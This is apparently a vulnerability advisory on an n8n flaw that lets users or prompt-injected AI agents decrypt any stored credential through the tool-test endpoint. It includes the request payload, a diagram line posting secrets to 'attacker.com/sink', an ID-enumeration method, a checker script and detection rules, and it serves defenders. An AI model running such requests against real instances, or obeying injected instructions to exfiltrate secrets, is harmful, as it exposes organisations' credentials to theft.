CVE-2026-103246: n8n Node-Tool Introspection Missing Credential Ownership Check Secret Exfiltration
HERMES AGENTIC SECURITY SCORE & WORKFLOW EXPOSURE
Target:n8n AI Agent Node-Tool Introspection Engine (resolveCredentialForNode) Standard CVSS v3.1 rates this vulnerability at 8.3 (High) due to authenticated prerequisites. The Hermes Threat Score (HTS) elevates it to 91 (CRITICAL) and the Hermes Agentic Security Score (HASS) rates it at 94 (CRITICAL). n8n serves as the enterprise orchestration backbone connecting LLM agent chains, internal APIs, customer data, and cloud infrastructure. By exploiting unverified credential resolution during node-tool introspection, an autonomous AI agent subjected to indirect prompt injection or an unprivileged user can access any encrypted secret in the database regardless of tenant or project boundaries, pivoting into production databases, cloud platforms, and third-party SaaS APIs.
CVE-2026-103246: n8n Node-Tool Introspection Missing Credential Ownership Check Secret ExfiltrationVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in n8n Workflow Automation documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled โ1. Technical Context & Affected Software Matrixโn8n is a fair-code, node-based workflow automation platform capable of orchestrating complex business processes, API interactions, and autonomous LLM agent execution pipelines.
| Parameter | Technical Specification | Operational Impact |
|---|---|---|
| CVE Identifier | CVE-2026-103246 | Global tracking reference |
| Advisory Source | VulnCheck Exploit Intelligence Advisory | Weaponized exploit tracking (October 2, 2026) |
| Vulnerability Class | Information Disclosure (CWE-200), Improper Authorization (CWE-285), Missing Authorization (CWE-862) | Cross-tenant credential exfiltration |
| Affected Components | Node-Tool Introspection Controller (resolveCredentialForNode, /rest/nodes/test-tool) | Dynamic tool schema resolution & agent credential binding |
| Affected Versions | n8n < 1.123.80, 2.0.0 - 2.39.5, 2.40.0 | All multi-user and agentic deployments |
| Fixed Versions | 1.123.80, 2.39.6, 2.40.1 | Mandatory project ownership & RBAC validation |
| Operational Impact | Enterprise-Wide Credential Compromise | AWS/GCP keys, database passwords, OAuth tokens exfiltrated |
2. In-Depth Technical Decomposition
Section titled โ2. In-Depth Technical DecompositionโThe Flaw: Missing Ownership Checks in Dynamic Tool Resolution
Section titled โThe Flaw: Missing Ownership Checks in Dynamic Tool ResolutionโWhen designing an autonomous AI Agent in n8n, sub-nodes are designated as tools (e.g., a โPostgreSQL Toolโ or โHTTP Request Toolโ callable by the agent). During workflow execution or testing within the web editor, the agent engine queries the backend to determine what credentials the tool requires and requests decrypted values for execution:
MALICIOUS WORKFLOW / ROGUE AGENT N8N BACKEND SERVER (NODE CONTROLLER) N8N ENCRYPTED DATABASE โ โ โ โ 1. Connect Tool with arbitrary credentialId: โ โ โ POST /rest/nodes/test-tool โ โ โ { "nodeType": "httpRequestTool", โ โ โ "credentials": { "httpHeaderAuth": "99" } โ โ โ } โ โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ>โ โ โ โ 2. Query Credential Record: โ โ โ SELECT * FROM credentials โ โ โ WHERE id = '99'; โ โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ>โ โ โ Returns Encrypted Data (Blob) โ โ โ<โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค โ โ โ โ โ 3. Decrypt with N8N_ENCRYPTION_KEY: โ โ โ NO check: Does user own ID 99? โ โ โ NO check: Is ID 99 shared? โ โ โ Decryption succeeds! โ โ โ โ โ โ 4. Tool Execution Context Populated: โ โ โ Secret injected into node runtime โ โ โ โ โ 5. Tool Sends Secret to Attacker Webhook: โ โ โ POST https://attacker.com/sink โ โ โ Header: Authorization: Bearer <PLAINTEXT> โ โ โ<โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค โ Plaintext Master AWS / Stripe / DB Secret Captured by Attacker โBecause n8n uses integer or sequential UUID identifiers for credentials stored in the credentials_entity table, an unprivileged user can iterate over IDs 1 through 1000. By attaching each ID to a test tool node configured to forward parameters to an external endpoint, the attacker can harvest all organization credentials in seconds.
Vulnerable Code Pattern (Conceptual Controller Extract)
Section titled โVulnerable Code Pattern (Conceptual Controller Extract)โ// Vulnerable controller logic in n8n/packages/cli/src/controllers/nodes.controller.ts (<= 2.39.5)import { CredentialsRepository } from '@n8n/database';import { decryptCredentialData } from '@n8n/core';
export async function resolveCredentialForNode( userId: string, credentialId: string, credentialType: string): Promise<Record<string, unknown>> { // Fetch credential directly by ID const credential = await CredentialsRepository.findById(credentialId);
if (!credential) { throw new NotFoundError(`Credential ${credentialId} not found`); }
// VULNERABILITY (CWE-862): No ownership or project permission check! // It fails to check if 'credential.projectId' matches the user's project, // or if 'credential.sharedWith' includes the requesting user!
// Decrypts directly using system-wide master key const decryptedData = decryptCredentialData( credential.data, process.env.N8N_ENCRYPTION_KEY );
return decryptedData;}Patched Implementation (n8n 2.39.6 / 2.40.1)
Section titled โPatched Implementation (n8n 2.39.6 / 2.40.1)โ// Patched implementation enforcing strict project authorization and RBACimport { CredentialsRepository, ProjectRepository } from '@n8n/database';import { decryptCredentialData, ForbiddenError } from '@n8n/core';
export async function resolveCredentialForNodePatched( userId: string, projectId: string, credentialId: string, credentialType: string): Promise<Record<string, unknown>> { const credential = await CredentialsRepository.findById(credentialId);
if (!credential) { throw new NotFoundError(`Credential ${credentialId} not found`); }
// REMEDIATION (CWE-285): Enforce strict project and user sharing validation const hasAccess = await ProjectRepository.hasCredentialAccess( projectId, userId, credentialId );
if (!hasAccess) { logger.warn(`Unauthorized credential access attempt by user ${userId} for credential ${credentialId}`); throw new ForbiddenError( `User does not have access permissions for credential ${credentialId}` ); }
// Validate that credential type matches the tool's expected schema if (credential.type !== credentialType) { throw new ValidationError(`Credential type mismatch`); }
const decryptedData = decryptCredentialData( credential.data, process.env.N8N_ENCRYPTION_KEY );
return decryptedData;}3. Attack Vectors & Real-World Weaponization
Section titled โ3. Attack Vectors & Real-World WeaponizationโVulnCheck threat intelligence notes that this vulnerability presents high utility in both insider threat and autonomous agent compromise models:
- Multi-Tenant / Shared Instance Privilege Escalation: In corporate settings where developers share an n8n instance partitioned into projects, a junior developer or contractor in a staging workspace can query credentials belonging to the production infrastructure team.
- Autonomous Agent Prompt Injection Pivoting: An AI Agent connected to an external communication channel (such as a customer support chat or email ingestor) is susceptible to indirect prompt injection. If an adversary instructs the agent to configure an ad-hoc diagnostic tool and test it against credential ID
1, the agent itself can exfiltrate production secrets to the attackerโs server without the attacker ever holding credentials on the n8n platform. - Automated Credential Harvester Scripts: Adversaries utilize simple Python or curl loops against the
/rest/nodes/test-toolendpoint to cycle through numeric credential IDs, assembling an inventory of active cloud tokens.
4. Forensic Triage & Detection Engineering
Section titled โ4. Forensic Triage & Detection EngineeringโSecurity teams should audit n8n access logs and database audit records for credential access anomalies.
title: n8n Potential Cross-Project Credential Introspection Enumeration (CVE-2026-103246)id: c4e91032-46a2-4a92-8174-85cbe103246cstatus: experimentaldescription: Detects rapid sequential requests to n8n tool test and credential introspection endpoints indicative of credential harvesting.author: Hermes Codex Cyber Intelligencedate: 2026-10-02references: - https://vulncheck.com/advisories/n8n-before-2.39.6-and-2.40-x-before-2.40.1-credential-disclosure-via-node-tool-introspection - https://nvd.nist.gov/vuln/detail/CVE-2026-103246logsource: category: webserver product: n8ndetection: selection: cs-uri-stem|contains: - '/rest/nodes/test-tool' - '/rest/credentials/' cs-method: 'POST' timeframe: 1m condition: selection | count() by c-ip > 10fields: - c-ip - cs-method - cs-uri-stem - sc-statusfalsepositives: - Legitimate batch workflow migrations initiated by administrative scriptslevel: hightags: - attack.credential_access - attack.t1552 - attack.privilege_escalation - attack.t1068 - cve.2026.103246// Detect anomalous spikes in n8n credential resolution endpointsAppRequests| where TimeGenerated >= ago(7d)| where Url has "/rest/nodes/test-tool" or Url has "/rest/credentials"| summarize RequestCount = count(), UniqueUsers = dcount(UserId) by bin(TimeGenerated, 5m), ClientIP| where RequestCount > 15| order by RequestCount desc#!/usr/bin/env python3"""n8n Credential Boundary Auditor (CVE-2026-103246)Verifies if an n8n instance enforces strict credential project isolation."""import sysimport requests
def test_credential_isolation(base_url, user_token, target_credential_id): headers = { "Authorization": f"Bearer {user_token}", "Content-Type": "application/json" }
payload = { "nodeType": "httpRequestTool", "credentials": { "httpHeaderAuth": str(target_credential_id) } }
url = f"{base_url.rstrip('/')}/rest/nodes/test-tool" print(f"[*] Testing tool introspection on {url} for credential ID {target_credential_id}...")
try: r = requests.post(url, json=payload, headers=headers, timeout=5) if r.status_code == 200: print("[!] CRITICAL: Endpoint returned 200 OK. Instance is VULNERABLE to CVE-2026-103246!") print("[!] Credential data was resolved without verified ownership.") return True elif r.status_code in (403, 401): print("[+] Access denied (403/401). Instance appears patched or access is strictly enforced.") return False else: print(f"[*] Server responded with HTTP {r.status_code}") return False except Exception as e: print(f"[-] Connection error: {e}") return False
if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 audit_n8n.py <BASE_URL> <BEARER_TOKEN> <CREDENTIAL_ID>") sys.exit(1) test_credential_isolation(sys.argv[1], sys.argv[2], sys.argv[3])5. Remediation Strategy & Hardening
Section titled โ5. Remediation Strategy & Hardeningโ-
Upgrade n8n to Secure Releases Immediately:
Update your n8n deployments to one of the patched versions:- For
1.xseries: Upgrade to n8n 1.123.80 or higher. - For
2.39.xseries: Upgrade to n8n 2.39.6 or higher. - For
2.40.xseries: Upgrade to n8n 2.40.1 or higher.
- For
-
Audit and Rotate Sensitive Enterprise Credentials:
If unprivileged users or public-facing agents operated on the instance prior to patching, assume credential IDs could have been resolved. Rotate third-party secrets stored within n8n:- Cloud provider access keys (AWS IAM, GCP Service Accounts).
- Database connection passwords (PostgreSQL, MySQL, MongoDB).
- SaaS tokens (Stripe, GitHub PATs, Slack Bot tokens).
-
Segment Multi-Tenant Agent Environments:
Avoid hosting sensitive production credentials on instances where untrusted users or autonomous conversational agents have node execution privileges. Deploy dedicated, containerized n8n instances per department with independentN8N_ENCRYPTION_KEYvariables. -
Restrict Network Egress for AI Worker Nodes:
Implement outbound firewall or security group rules on n8n runners, allowing outbound HTTP requests only to pre-approved API endpoints to prevent secret exfiltration to rogue endpoints.